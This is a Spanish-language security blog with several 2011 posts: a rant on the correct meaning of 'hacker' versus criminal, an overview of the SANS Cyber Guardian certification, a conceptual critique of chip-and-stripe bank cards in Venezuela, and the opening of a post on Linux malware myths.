martes, 20 de septiembre de 2011

Pero en realidad, ¿Qué es un Hacker?

Si existiera un record Guiness para el término menos comprendido y peor usado de todas las culturas en toda la historia de la humanidad, en mi no tan humilde opinión, la palabra "hacker" se llevaría todos los premios y reconocimientos.

Sólo por completitud y con la esperanza de que algún día la comunidad "no-hacker" logre entenderlo, repito aquí la definición más aceptada entre los verdaderos conocedores de la materia. El RFC 1392, "Glosario de usuarios de Internet", define claramente el término "Hacker":

hacker
      A person who delights in having an intimate understanding
      of the internal workings of a system, computers and computer
      networks in particular.  The term is often misused in a
      pejorative context, where "cracker" would be the correct
      term.  See also: cracker.

Como tarea al lector no-técnico, aquí se puede averiguar lo que es un RFC y la razón por la cual, con especial énfasis en este caso en particular, debe considerarse como una fuente autoritativa. Ahora bien, lejos de golpear al hombre caido, abrumandolo con más y más términos rimbombantes como "phisher", "phreaker", "pharmer", "script-kiddie", script-junkie", "lamer", etc, que muy poco aportan a toda esta discusión, el resto de este artículo trato de señalar los errores y posibles razones por las cuales históricamente se ha abusado de este término de forma tan inclemente.

Como siempre, el post/artículo que lo inicio todo, afirma lo siguiente:

"...
       Un hacker es un experto informático especialista
       en entrar en bases de datos ajenas sin autorización alguna
..."

Armados con el nuevo conocimiento adquirido del RFC anterior, se puede ver que esta afirmación es doblemente incorrecta. Por un lado, en el contexto peyorativo, el término correcto debería ser "cracker". Sin embargo, aún haciendo esa corrección, se cae en el segundo error de pensar que un "cracker", por definición, es algún tipo de experto informático, cualidad adecuadamente atribuida, por definición, a un "hacker".




La raíz primordial de la confusión es un básico error de lógica. A pesar de que algunos "crackers" puedan poseer algún tipo de conocimiento que les permita compararse con los "hackers", no los hace miembros de la misma casta. De hecho, en la gran mayoría de casos de "crackers" conocidos, se ha evidenciado su mediocridad y pobre entendimiento de los conocimientos técnicos de los sistemas y redes de computadoras. De aquí que el término correcto en el contexto peyorativo sea "cracker" y no "hacker". Al final, una persona con poco conocimiento, poco entendimiento y gran deseo de importancia lo único que le queda es tratar de llamar la atención para compensar su deficiencia. La forma más simple es utilizar el conocimiento de los verdaderos "hackers" de formas muy "escandalosas" (usualmente ilegales) y esperar que los medios de comunicación inflen su tan golpeado ego. Su poco entendimiento, y mediocres técnicas los hacen terminar en manos de las autoridades y pagar por sus fechorías más temprano que tarde. Pero esto no importa, pues los minutos de "gran fama", para la mente del "cracker", muy bien los valen. Aún así, "crackers reformados" continuan ordeñando el conocimiento que se han robado despues de pagar sus condenas, contribuyendo a que se perpetúe cada vez más el incorrecto uso del término "hacker".

El artículo original continúa de la siguiente manera:

"...
       Generalmente trabajan con seudónimos y compiten entre
       ellos mismos por vulnerar sistemas de seguridad. Existen
       varias clasificaciones, pero la más utilizada actualmente
       es la de hackers sombrero blanco y negro
..."

Con este comentario acabamos de avanzar 10 años en un abrir y cerrar de ojos. La clasificación de hacker y cracker ha quedado muy atras para dar paso a un animal completamente distinto, el "hacker sombrero negro". El nacimiento de este término es nada mas entendible. En los párrafos anteriores dejamos establecido que la capacidad y conocimiento técnico es completamente ortogonal al hecho de ser o no un "cracker". Sin embargo, en un mundo donde la Internet ha permeado la gran mayoría de aspectos de nuestras vidas directa o indirectamente, se abre una posibilidad para la persona de pocos principios morales y éticos que en efecto posee la habilidad técnica de un "hacker". Es un mundo en donde nos vemos obligados a criminalizar las acciones abusivas que permiten ganancias inmorales a las personas que hacen uso poco ético de su conocimiento (Leyes sobre delitos informáticos). A diferencia de una Internet académica en donde habitaban los "hackers", en el mundo de hoy, vivimos una Internet donde se mueven grandes cantidades de dinero a velocidades realmente sorprendentes. Hemos llegado a un mundo en donde el "hacking" se transformó en una ocupación por demás rentable, ya sea por medio de actividades legales o ilegales, en donde son más rentables las últimas que las anteriores. Bienvenidos al mundo de los "criminales informáticos".

Continuando con el artículo original:

"...
      Hacker sombrero blanco (también conocido como hacker ético) 
      Infiltran las redes para mostrar el grado de vulnerabilidad 
      que tienen. Sus motivaciones son inocuas. Generalmente dejan 
      mensajes advirtiendo sobre lo desprotegido que puede estar 
      el sistema.
..."

Suspiro. Sin ánimos confrontacionales, pero con la autoridad que me dan más de una década en el mundo de la seguridad informática, multiples certificaciones internacionales, y miembro élite de los muy pocos en el mundo en haberlas alcanzado, tengo que oponerme fervientemente a la anterior definición. El punto más importante para la definición del "hacker sombrero blanco" reposa en hacer lo que hacen los "hackers" pero con permiso expreso y legal de los dueños del sistema que se infiltra. Lamentablemente no hay nada ético en vulnerar un sistema sin el permiso de sus dueños. Es como si llegaran a tu casa, abrieran la puerta, se durmieran en tu cama, y te dejen una nota alertandote que laves tus sábanas pues cualquiera te las puede dejar sucias. Por más inocua que pueda ser la motivación, estas acciones no dejan de ser un acto inmoral y a la luz de una ley de delitos informáticos, son además unos actos ilegales y criminales.

La definición incorrecta, sin embargo, es convenientemente utilizada por criminales tratando de presentar una imagen "reformada" que buscan justificación para continuar con su conducta delictiva. A pesar de que la anterior afirmación parezca argumentativa, invito a mis lectores a analizar la ley de delitos informáticos del mismo link del artículo original. El lector atento notará inmediatamente que la "motivación" dentro de la mencionada ley no juega ningún papel. Si obtienes acceso a un sistema sin autorización, por la motivación que sea, estas cometiendo un delito y en consecuencia tu única clasificación es de "criminal", o en todo caso, "criminal informático", nada de hacker, nada de blanco y nada de negro. Ni siquiera un sombrero, a lo sumo un traje anaranjado.

Finalmente llegamos a la posiblemente única afirmación mas o menos precisa del artículo:

"...
      Hacker sombrero negro: Son los expertos informáticos
      que intentan causar –y en algunos casos lo logran- daños
      a los usuarios y administradores del sistema. También
      son conocidos como ciberpiratas. Pueden incurrir en la
      extorsión y en actos criminales. Literalmente “roban”
      información y hacen uso de esta a su conveniencia.
..."

Las motivaciones de nuevo, pueden ser muchas más de las que se mencionan en el párrafo anterior. Sin embargo, el punto clave, de nuevo, es que todas estas acciones carecen de la autorización expresa de los dueños del sistema que se vulnera. Cabe destacar que algunos "criminales confesados o reformados" algunas veces intentan pasar aunque sea por "hackers de sombrero negro" en su afán de fama. Vale entonces la pena hacer una distinción adicional. Como habíamos dicho anteriormente, el hacker de sombrero negro, por ser hacker, posee un profundo conocimiento técnico sobre la tecnología que vulnera. En consecuencia, resulta muy difícil creer que los conocimientos del criminal atrapado y condenado sean tan sofisticados que ni siquiera pudieron evitar que lo atraparan. A menos, por supuesto, que ademas de criminal, haya tenido algún deseo morboso de visitar una celda por la parte de adentro y por un periodo alargado. En consecuencia, tampoco los atrapados y condenados, pueden recibir la "condecoración" de "hacker" pues sus conocimientos no han demostrado ser lo suficientemente "élite". En efecto, los verdaderos "hackers" son "invisibles". Ahora bien, la única esperanza de reivindicación para un criminal convicto y confeso es ponerse a estudiar verdaderamente y conocer en profundidad las cosas. Esta capacidad no esta prohibida para nadie, incluso para los criminales menos sofisticados. Sin embargo, requiere de mucho esfuerzo y dedicación, requerimientos que los "media-whores" carecen, pues todo su tiempo lo dedican a llamar la atención.

Es aquí donde radica toda la confusión. Los medios de comunicación se enteran de un evento criminal o "escandaloso" y buscan información. Lamentablemente, nunca hay un "verdadero" hacker disponible pues ellos están "siempre ocupados". Tristemente, los medios de comunicación caen en manos de los charlatanes, embusteros, media-whores, entre otros, cuya desinformación contribuye aún más a la mala utilización del término y obteniendo una pésima fama para los "hackers".

Para finalizar este agrío y áspero "rant", no podemos dejar de mencionar a la piedra en el zapato. En este caso, los sucesos de las vulneraciones de las cuentas de twitter de personalidades importantes Venezolanas por parte de un grupo de individuos que se hacen llamar N33. Como buenos "media-whores", y ávidos de atención, lograron una entrevista aquí. Tal como hemos demostrado en los parrafos anteriores, calificar a estos individuos como "hackers" es un error por demás peligroso. De acuerdo a toda la discusión anterior, el termino indiscutiblemente correcto es "criminal informático". Sin embargo, ¿podría tratarse de un "hacker sombrero negro"? Es decir, ¿Saben algo realmente de lo que están haciendo? o simplemente ¿utilizan las herramientas enlatadas fácilmente accesibles en Internet para cometer actos ilegales? Lamentablemente, no se tiene suficiente información para responder estas preguntas. Sin embargo, vulnerar cuentas de correo electronico o cuentas de twitter no requiere de prácticamente ningún conocimiento en informática o en casi nada en realidad. Lo único que se requiere es saber buscar en Internet o ser lo suficientemente "hala mecate" para que algún "hacker sombrero negro" te diga o "proporcione" las herramientas que necesitas para cometer tus fechorías. Así de simple y poco interesante es el mundo de los "criminalillos" informáticos. Lastima que ese tipo de "noticias" no sean tan interesantes para los medios de comunicación.

Por el bien de las generaciones futuras y como lo diría un verdadero hacker hace varios años atras, Ken Thompson, en su discurso donde recibió el premio Turing:

"...I would like to criticize the press in its handling of the "hackers", the 414 gang, the Dalton gang, etc. The acts performed by these kids are vandalism at best and probably trespass and theft at the worst. It is only the inadecuacy of the criminal code that saves the hackers from very serious prosecution..."

Casi 30 años despues, señor Thompson, lastimosamente, se continúa un manejo inadecuado por parte de la prensa, y a pesar de nuevas leyes y castigos, las fuerzas policiales de la gran mayoría de paises poseen capacidades técnicas tan limitadas que con mucha dificultad logran aprehender a los más mediocres y menos  sofisticados de los criminales informáticos de hoy en día.


Dios nos salve del futuro, pues de continuar los errores de percepción y poco entendimiento de los fenómenos culturales que nos rodean, estaremos criando una "bestia que no podremos controlar".

La certificación Cyber Guardian

Continuando la serie de artículos relacionados a certificaciones de seguridad informática, decidí comentar un poco sobre una certificación relativamente nueva pero por demás interesante y pertinente. Se trata de la certificación "Cyber Guardian" del SANS Institute.

Esta certificación está dirigida a una comunidad muy específica. De acuerdo al sitio web del SANS Institute, el objetivo es:

"... Entrenar personal que forme parte de las fuerzas armadas, departamentos de defensa y otras agencias gubernamentales cuyos roles incluyan el aseguramiento de sistemas, reconocimiento, contra-terrorismo y contra-hacks..."

La visión no podría ser más pertinente en un momento en que vivimos los peores ciber-ataques de nuestra historia. Desde incidentes altamente sofisticados y promocionados por estados como "Stuxnet" hasta simples fechorías del crimen organizado contra entidades financieras y otras organizaciones, la realidad es que no hemos visto nada. Si de algo están de acuerdos los expertos es que las cosas a partir de este momento solo pueden empeorar.

A pesar estar pensada para militares/personal de gobierno, los civiles también están invitados a participar de esta certificación. La idea es reforzar los lazos de cooperación entre los expertos de una manera definitiva y funcional, sin importar las organizaciones para las que trabajan. A diario conocemos que las empresa privadas son víctimas co-laterales en incidentes más grandes cuyos objetivos finales son atacar la infraestructura de los gobiernos. Este año ha visto casos de los más sofisticados entre los que se cuentan RSA, Lockheed Martin, Booz Allen o hasta el del Fondo Monetario Internacional. Esta tendencia solo puede esperarse que continue en ascenso tanto en sofisticación como en efectividad. En consecuencia, los lazos de cooperación para el intercambio de información entre el sector privado y el gobierno se hacen cada vez más importantes.

El camino hacia la obtención de esta certificación comienza con una carta aplicación dirigida al SANS Institute. La aplicación debe contar con los siguientes requisitos:

1) Por lo menos 5 años de experiencia en el área de seguridad de la información.
2) Evaluaciones sobresalientes por parte de tus comandantes (caso militar) / gerentes supervisores (caso civil)
3) Cartas de recomendación de tus comandantes (caso militar) / gerentes supervisores (caso civil)
4) Conseguir la certificación GSEC (GIAC Security Essentials) con un puntaje mayor a 80 o poseer la certificación CISSP (de ISC2).

Estos requisitos no deberían ser ningún problema para un profesional de mediana trayectoria en el mundo de la seguridad informática. El verdadero reto comienza con el camino de certifaciones centrales y electivas.

La certificación requiere que el candidato cumpla con los siguientes requisitos obligatorios:

1) Obtención de la certificación GCIA (GIAC Certified Intrusion Analyst)
2) Obtención de la certificación GCFA (GIAC Certified Forensic Analyst)
3) Obtención de la certificación GPEN (GIAC Penetration Tester)
4) Obtención de la certificación GCIH (GIAC Certified Intrusion Handler)

Con estas cuatro certificaciones centrales, se espera que el candidato domine una sólida base de conocimientos que le permitan ejecutar al menos las siguientes operaciones:

a) Establecer un perimetro de defensa
b) Administrar el perimetro de defensa
c) Identificar amenazas
d) Análisis de vulnerabilidades e intrusiones.
e) Defensa en profundidad y respuesta ante incidentes.
f) Mitigación de riesgos y planificación de misiones.
g) Análisis de amenazas y contra-inteligencia.

Una vez completados los cursos básicos, el candidato debe seleccionar una especialidad ofensiva (Red Team) o defensiva (Blue Team). En este artículo he decidido comentar la especialidad que yo seleccioné (equipo de ofensiva), sin embargo, se puede leer los requisitos para la otra especialidad en la página oficial.

La especialidad ofensiva requiere que el aspirante complete uno de los siguientes cursos con su respectiva certificación:

1) SEC-542 :: Web App Penetration Testing and Ethical Hacking (6 días) y su certificación GWAPT (GIAC Web Application Pentester).
2) SEC-617 :: Wireless Ethical Hacking, Penetration Testing, and Defense (6 días) y su certificación GAWN (GIAC Assesing Wireless Networks)
3) SEC-660 :: Advanced Penetration Testing, Exploits, and Ethical Hacking (6 días) y un artículo académico

En mi caso, yo completé los dos primeros cursos de especialización cuando los requisitos eran distintos. Ese es el precio que hay que pagar por terminar el programa en menos de la mitad de tiempo estipulado (2 años). Con esta especialidad, se espera que el candidato domine las siguientes capacidades:

a) Explotar vulnerabilidades de capa de aplicaciones.
b) Crear y modificar exploits para penetrar redes.
c) Explotar vulnerabilidades en sistemas operativos Windows y Linux.
d) Exploitar equipos de redes y dispositivos embebidos.

Pero esto no es todo. Por si fuera poco esta cadena de certificaciones y cursos altamente especializados, el candidato debe cumplir con un último requisito:


1) Cumplir con todos los requisitos y conseguir la certificación GSE.


Este requerimiento corona la certificación asegurandose que el candidato posee el conocimiento "hands-on" de todas las certificaciones que ha conseguido aprobar. En un artículo anterior ya había comentado lo que significa convertirse en uno de los pocos GSE que existen en el mundo.

Para el momento de escribir de este artículo, me llena de orgullo poder decir que soy el único y primer Cyber Guardian no sólo de Venezuela si no de toda América Latina. El listado de los muy pocos que han logrado conseguir esta prestigiosa certificación se encuentra aquí.

Como siempre los comentarios / preguntas / solicitud de consejos los puedes hacer aquí.

viernes, 15 de julio de 2011

La puerta bien blindada, pero la ventana bien abierta.

Durante mis evaluaciones de seguridad informática, rutinariamente me encuentro con implementaciones que intentan eliminar con mucho esfuerzo  una determinada vía de ataque sin darse cuenta que al mismo tiempo dejan otras rutas completamente desprotegidas. Este tipo de "errores" es usual cuando la seguridad informática se construye a posteriori en lugar de incluirse desde la más temprana etapa de diseño del sistema. En estas situaciones, muy pocas veces es posible proveer una "solución adecuada" y en consecuencia se termina seleccionando la opción que representa el menor de los posibles males.

Este artículo está dedicado a la "nueva moda" de las tarjetas de crédito / débito con chip que han empezado a implementar muchos de los bancos en Latinoamérica y en particular los Venezolanos. Esta fuerte tendencia parece ser indetenible a pesar de que los verdaderos riesgos, ventajas y desventajas de esta tecnología se desconocen con exactitud. Como siempre el twitt que lo inició todo rezaba algo como sigue:

@ en 107.9 "se buhonerizo la clonacion de tjtas en Vzla, se debe migrar a tecnologia chip". Los medios de pago y sus riegos.

Adicionalmente,  se refuerza el mensaje con artículos como éste y éste. Sin embargo, muy pocas personas parecen apreciar que la implementación actual de muchas de éstas mejor llamadas "tarjetas inteligentes" en realidad dejan mucho que desear. Como es de esperarse, los "chips" no pueden ser la panacea que los medios amarillista de seguridad informática intentan pintar y el verdadero "diablo" se encuentra en los detalles (de implementación). El comentario que resume mi argumento es el que sigue:


Ruben Recabarren - Buzz - Public
Interesante como en Vzla la campaña de la tarjeta de crédito "con chip" se ha vendido como una protección al consumidor, cuando la implementación actual (chip + banda magnetica) brinda únicamente cierta protección extra al banco y cero protección extra al consumidor. "Cosas vederes... Que non crederes".


Tengo que aceptar que la anterior entrada plantea mucha información que además de sorprendente, contiene muchas trampas para los que se aventuran a evaluarla superficialmente. Para explicar en profundad mi afirmación es necesario establecer algunos conceptos básicos sobre el funcionamiento de los sistemas de tarjeta inteligente que desarrollamos a continuación.


Advertencia: La siguiente descripción está basada en mi experiencia y conocimiento genérico sobre los sistemas de tarjetas inteligentes. Esta descripción asume que se tienen al alcance todas las ventajas que ofrecen los sistemas "con chip". Sin embargo, yo realmente dudo que las implementaciones de los bancos desarrollen todas estas características, pues cada una trae consigo sus retos y dificultades. En consecuencia, la implementación del banco puede diferir grandemente de esta descripción y obviamente, no puedo verificarla explicitamente. Por un lado, no tengo permiso explícito de las entidades bancarias pertinentes, pero por el otro tampoco acostumbro hacer tales trabajos de consultoría de forma gratuita (lol). Está demás decir que si algún responsable después de leer esta descipción desea realizar una rigurosa evaluación de su implementación para verificar o para retarme a demostrar las debilidades que aquí describo, puede gustosamente utilizar el link de contacto.


=====  Descripción pseudo-técnica, skiddies cortar desde aquí ======


1.- Protección con un PIN. La primera linea de protección se consigue con el viejo y conocido Personal Identification Number. Un número que se supone sólo conoce el usuario de la tarjeta y permite su "activación" al usarse en un punto de venta (POS). A pesar de ser una técnica vieja, detrás de las cámaras, este PIN funciona de una manera muy distinta al PIN de nuestras tarjetas de banda magnetica. En realidad, este PIN sirve de "autenticación" de nuestra persona hacia la tarjeta. Se supone que si alguien que desconoce el PIN intenta usar nuestro plastico, el chip inteligente se rehusará a negociar cualquier transacción. Esto es posible gracias a que el chip es en realidad un microprocesador con la misma lógica que hemos visto en los cuadros que nos piden un password para ingresar a nuestro email o abrir la sesión en nuestro computador personal.

Realmente no hay justificación para no implementar esta característica por parte del banco. En efecto, cualquiera que haya usado las nuevas tarjetas, no necesita hacer ninguna evaluación ni prueba de penetración para verificar que en realidad este mecanismo es utilizado de forma efectiva. Sería el colmo si no fuera así.  Por otro lado, este mecanismo no está libre de fallas, pero afortunadamente no son distintas a las que estamos ya bien acostumbrados: el usuario comparte su PIN de forma consentida o no-consentida (amenazado, atracado, etc), el PIN es observado por alguien surrepticiamente y un grandisimo, el PIN "robado" al usuario con ingeniería social, y un grandisimo etcétera. Ninguna sorpresa por aquí.


2.- Protección mediante un certificado digital de usuario inmerso y protegido por el chip. Esta es la primera característica novedosa y que tampoco es difícil de implementar. Aunque no hay motivos para pensar que no esté implementada, no es posible verificarlo por las razones mencionadas anteriormente. Sin embargo, no implementarla sería casi imperdonable pues los certificados digitales son el corazón mismo de las características de seguridad de estos sistemas. Un certificado digital es lo que nos permite realizar operaciones virtuales con autenticación de origen, integridad, confidencialidad y no-repudiación. La matemática detrás de todo eso esto es fascinante. Sin embargo, la parte importante para los usuarios normales es que debido a la dificultad de factorizar productos de números primos muy grandes, la posibilidad de falsificar transacciones que afirman provenir del dueño de un certificado digital específico es muy pero muy pequeña. Ésto es lo que permite la "no-repudiación" de la transacción. En otras palabras, si existe una transacción hecha con este certificado digital, pues con altísima probabilidad provino desde un chip que almacenaba este certificado digital (no uno "clonado") y que de paso está enlazado a la identidad del usuario legítimo.


Es aquí también donde empiezan las sorpresas. El famoso chip que se supone nos debe proteger, en efecto lo que hace es asegurarle al banco que una transacción firmada con tal certificado realmente vino de mi tarjeta y tiene muy poca probabilidad de haber sido falsificada. Fantástico para el banco, pues ahora puede diferenciar con mayor certeza las transacciones verdaderas (y que debe rechazarte si intentas desconocerlas) de las transacciones posiblemente fraudulentas (y que no le queda mas remedio que deshacer la transacción). ¿Dónde está la protección verdadera para el usuario? La protección viene siempre y cuando nadie pueda extraer esa información del certificado digital. Si alguien puede extraer la denominada "clave privada" del certificado digital de mi tarjeta inteligente, lograría en efecto la "clonación" de la tarjeta con chip. En consecuencia, yo, como usuario, quedaría en exactamente los mismos problemas que antes. Justamente para evitar esta posibilidad, se diseñó el mecanismo de seguridad que describimos a continuación pero que lastimosamente es el menos implementado en la vida real.


3.- Protección mediante un par de certificados digitales extra que identifican a la tarjeta inteligente y al punto de venta legítimo. Este mecanismo básicamente intenta evitar que las tarjetas "con chip" sean coaccionadas a revelar la información de autenticación, descrita en el punto anterior, a un punto de venta diseñado maliciosamente para este fín. La información de autenticación consiste esencialmente en la clave privada, aunque también se intenta evitar "ataques de repetición". El mecanismo de ataque específico es mucho mas complicado de lo que puedo intentar explicar en términos sencillos. Sin embargo, la idea es facil de intuir. Si construyo un punto de venta que manipule maliciosamente a mi chip, bajo ciertas condiciones, podría lograr que revele la información necesaria para clonarlo. Sin embargo, la misma tecnología de certificados digitales que sirve para "identificar" al usuario, sirve a escala más pequeña para autenticar al punto de venta frente a mi chip y al chip frente al punto de venta. Esta modalidad es lo que se conoce como "autenticación mutua". Si alguna de las partes (chip o POS) no reconoce a la otra, simplemente se niegan a conversar y las transacciones no se llevan a cabo. Cuando este mecanismo es implementado adcuadamente, el proceso para que un delincuente logre crear un punto de venta malicioso se vuelve comparable a la dificultad de factorizar productos de números primos muy grandes. Es decir, bien díficil dependiendo del tamaño de los números primos usados. En consecuencia, y sólo en este caso, la información privada del usuario está protegida con efectividad.


Es aquí donde comienzan los peores problemas. Para implementar este mecanismo de forma adecuada, y mantener algún tipo de compatibilidad de cobranza mutua, es necesario establecer un mecanismo para que los chips del banco "A" reconozcan los puntos de venta del banco "B" como de confianza. De lo contrario, los chips del banco A no podrían saber si los puntos de venta del banco B son legítimos o se trata de un delincuente informático tratando de clonar nuestra tarjeta de crédito o débito. Este mecanismo de confianza se puede establecer de muchas maneras, la más sencilla de las cuales es la creación de una autoridad de certificación raíz común. Lamentablemente, la sencillez de esta solución es sólo técnica pues las dificultades empiezan a ser operativas por peleas de poder o prestigio: ¿Qué banco controla la autoridad raíz? Por otro lado, es posible hacer una solución de mayor aceptación comunitaria pero de mayor dificultad técnica: lo que se conoce como autoridades de certificación cruzada. Aún hay otras soluciones salomónicas al estilo de confiarle al proveedor de puntos de venta y tarjetas inteligentes la operación de la autoridad raíz lo cual entrega las llaves del reino a un completo extraño. Esto último acarrea aún más y más problemas de confianza. Adicionalmente, éste último mecanismo de protección es otro que no podemos verificar sin hacer un análisis más profundo o sin permiso explícito. Sin embargo, es evidente que la problemática descrita anteriormente es la candidata perfecta para acortar caminos. El acortar caminos significa, por ejemplo, no utilizar este mecanismo de protección y en consecuencia proveer menos protección efectiva para el consumidor.


=== Fin descripción pseudo-técnica, script kiddies cortar hasta aquí ====


Espero no haber perdido a demasiados lectores con la montaña rusa sobre el funcionamiento de las tarjetas inteligentes. Lo que viene les conviene. Armados con el conocimiento adquirido es posible entender la primera parte de mi afirmación inicial: "...brinda únicamente cierta protección extra al banco..." En efecto, cuando una transacción es realizada a través del chip, el banco tiene todos los argumentos anteriores para sostener que el cliente y no un delincuente informático es responsable de la realización de esa transacción. Es decir, los reclamos a partir de aquí se hacen menos creibles, sobre todo porque los consumidores, primero: no conocen a profundidad las debilidades que sondeamos muy superficialmente en las lineas anteriores; y segundo: no tenemos ninguna forma de verificar que la implementación haya sido hecha correctamente y evaluada por un ente independiente. En mi opinión aquí están fallando mucho los organismos reguladores al permitir que los bancos hagan y deshagan con sus implementaciones sin una verdadera evaluación rigurosa y de calidad. Para muestra, dos botones aunque admitidamente, hay muchos más.

Mis detractores apuntarán rápidamente la siguiente aparente parcialidad: "...todo esto es asumiendo que los bancos hicieron mal su tarea ¿Acaso no es posible que la hayan hecho bien? ..." Ciertamente, mi argumento inicial también aloja esta posibilidad. Por supuesto, la aloja tan sólo por completitud, pues por motivos y evidencia de primera mano, tengo razones para pensar que ésta dificilmente será la excepción. La segunda parte de mi argumento cobra razón justamente asumiendo el supuesto increible y por demás improbable que la implementación de los bancos es perfecta y que los chips son en verdad " difícil de violentar". El punto en donde se cae toda posible protección para el consumidor es en la triste realidad que hasta ahora todas las tarjetas con chip tienen también, por motivos de compatibilidad, la antigua banda magnetica con la que nos han estado clonando ad nauseam. En efecto, para ejecutar una transacción fraudulenta, el delincuente tendría que ser sumamente estúpido para tratar de entrar por la puerta hipotéticamente "bien cerrada" y blindada (chip) teniendo la ventana (banda magnética) abierta de par en par. Es decir, en la práctica, el delincuente seguirá usando la banda magnetica para clonar tu tarjeta y se reirá afanosamente de tu chip "inteligente".


Dicho en criollo, el riesgo para el consumidor es exactamente el mismo: el delincuente intentará llevar la tarjeta a un lugar fuera de los ojos del propietario y pasar la banda magnetica (no el chip) por la captadora. Al final, ¿A cuantas personas les han intentado clonar su tarjeta delante de sus narices? Ésto usualmente se lleva a cabo en la "oscuridad" y lejos de los ojos supervisores del propietario. En consecuencia, ¿Cuánto te protege realmente que le pidas al cajero que use el chip y no la banda? De todas maneras delante de tus ojos no te la iban a "raspar delincuencialmente". Y si rasparla delante de tus ojos iba a tener éxito, que te la pasen por el chip y luego por la captadora, usando cualquier excusa tonta, tendrá exactamente la misma probabilidad de éxito. Las oportunidades del delincuente siguen intactas. La única diferencia es que ahora, para las transacciones que hagas con tu chip: buena suerte al intentar reclamarlas al banco. Nuestra única esperanza es que la banda magnética desaparezca pronto.

Ahora bien, para los que aspiran que la banda magnética desaparezca en el corto plazo, más malas noticias. Como habíamos explicado anteriormente, la banda magnética es necesaria para los puntos de venta que no cuentan con el lector de tarjetas inteligente moderno. Eliminar la banda magnética implicaría reemplazar todos los puntos de venta del mundo (o al menos del país) por sus contrapartes modernos con lectoras de "chip". De lo contrario, el banco que emita plásticos sin banda magnética quedaría imposibilitado de realizar transacciones en lugares donde todavía no ha llegado la modernización. Dícese, por ejemplo, la tagüarita del Bronx donde compramos la harina pan para deleitar a nuestros anfitriones en el extranjero con un pláto de comida típica Venezolana. Ésto se traduciría, como es de esperarse, en pérdida de transacciones, descontento de clientes, etc. En consecuencia, al menos para el caso de las tarjetas de crédito, es posible que esta implementación (chip + banda) permanezca mucho mas tiempo del que muchos imaginan. En el caso de las tarjetas de débito, su transición total debería ser un poco mas rápida, al menos en Venezuela, pues no existe posibilidad de usarlas en el extranjero debido al control cambiario. Mientras tanto, se puede esperar que el número de transacciones fradulentas siga con la misma tendencia actual, prácticamente sin ningún tipo de impacto verdadero. Lo que muy dificilmente permanecera invariable es el número de reclamos no procedentes que empezará a emitir la entidad bancaria en clara sobre-confianza de su nuevo "sistema de chip con casi nula probabilidad de falsificación". Me pregunto: ¿Cuántas personas han intentado con éxito que les reversen una transacción hecha a través del chip inteligente? Buena suerte con eso y me encantaría si dejaran sus comentarios / experiencias al respecto al final de este artículo.



Supongo que siempre existe la posibilidad de cuando el banco se rehúse a aceptar un reclamo por cobro indebido, puedes intentar apuntarlos a este artículo (lol). Si aún así no te creen pues puedes también apuntarlos a otros como este (doble lol). Finalmente, y en cualquier caso, les deseo mucha pero mucha buena suerte. Al final, ésa parece ser la única verdadera protección que tenemos (not lol). :-(

domingo, 19 de junio de 2011

Mitos, Leyendas y Fantasías - Parte 1


Este artículo está inspirado en un breve intercambio que sostuve por el google buzz con una persona de extenso recorrido y experiencia con sistemas *nix. El post que lo inició todo es el que sigue:

Richzendy: No hay nada como la sensación de seguridad que da el navegar por cualquier sitio sabiendo que no te vas a contagiar de algún virus #usalinux

En un principio estoy de acuerdo: es una "sensación", sin embargo, la siguiente afirmación en cuanto a "sabiendo que no te vas a contagiar..." es muy osada en realidad. Y por eso mi respuesta:

Ruben Recabarren - ¿"Sabiendo"? o ¿"Creyendo"? yo te puedo contar de varios sitios donde te puedes infectar de un monton de cosas feas no solo para linux, sino también para cualquier sistema operativo que te puedas imaginar ;)

En efecto, rutinariamente no sólo me toca analizar malware para Linux, sino que también me toca desarrollarlo. Como parte de mis pruebas de penetración, tengo que estar constantemente modificando mis herramientas y payloads para demostrar la vulnerabilidad de los sistemas de mis clientes y generar recomendaciones de cómo hacerlos más seguros. Esto incluye también rutinariamente un extensa gama de distintos sistemas operativos. La respuesta semi-religiosa que casi nunca viene acompañada de ningún fundamento técnico no se hizo esperar:

jaime sanmartin - Yo tengo 25 años con Unix, Xenix y Linux y no me han pegado el primer virus. Eso para mi es seguridad..Aun mas, con Linux se pueden reparar los desastres de Windows. Con Windows no se puede hacer lo mismo...

Inmediatamente sale a colación la comparación con Windows. Esto para mí es indicación que la discusión se está tornando fanática. En ninguna parte de los posts anteriores se nombra ni a Windows ni a ninguna comparación con ningún Sistema Operativo en específico. El poster original hizo un comentario sobre su sensación al navegar con Linux, y yo hice un comentario sobre su falsa sensación de seguridad. Sin embargo, las guerras religiosas siempre necesitan colar al más desvalido (Windows) para fortalecer un argumento que carece de todo soporte técnico verdadero. Mi respuesta como siempre tratando de evadir la guerra que se avecina:

Ruben Recabarren - Bueno, sin animos de desatar una guerra santa, yo solo digo que es distinto "creer" que no se te ha pegado el primer virus a estar limpio en serio ;) Perfecto tema para el siguiente articulo de mi blog :D


Y en realidad, yo todavía no he conocido a la primera persona que confrontada con la cruda verdad de la pregunta: 

"Acaso tu puedes asegurar que tan sólo utilizando el Sistema Operativo $BLANK tu computadora no podrá ser vulnerada?" 

sea capaz de responder con la misma fuerza con que afirman sus creencias religiosas.  Usualmente ésto termina las guerras santas, pues a los fanáticos no les gusta cuestionar su fé. Sin embargo:

jaime sanmartin - Yo estoy limpio en serio. Por otro lado, a menos que tengas un sistema perfecto de auditoria, nadie puede estar seguro de haber tenido, o no, un virus en su computadora. Y los sistemas perfectos no existen. El virus pudo entrar, hacer su trabajo y salir. Si en ese momento estabas actualizando o algo parecido, pues no lo viste. Si lo detectaste, estas seguro que SI. Pero si no lo detectaste, nunca podras estar seguro. Ahi el argumento empieza a volverse filosofico...

Lo cual es insospechado al igual que misterioso. Parafraseando: "...Estoy limpio en serio, pero no estoy seguro y nadie puede estarlo...". Esta respuesta inspira y casi ruega el análisis de varios aspectos que lamentablemente son un mal que aqueja a muchas organizaciones, grandes y pequeñas, de software libre o privativo por igual.


1.- El cuchillo y el bisturí. La analogía es la siguiente: todo el mundo probablemente estará de acuerdo en que no es lo mismo que te operen utilizando un cuchillo de carnicero que utilizando un bisturí. Sin embargo, muy pocas personas se dan cuenta que por mas que un carnicero empuñe un bisturí, jamas se volverá un cirujano. En otras palabras la herramienta no hace al maestro. Linux muy bien puede ser el bisturí, lamentablemente, él por si sólo, no puede garantizarte una mejor seguridad.


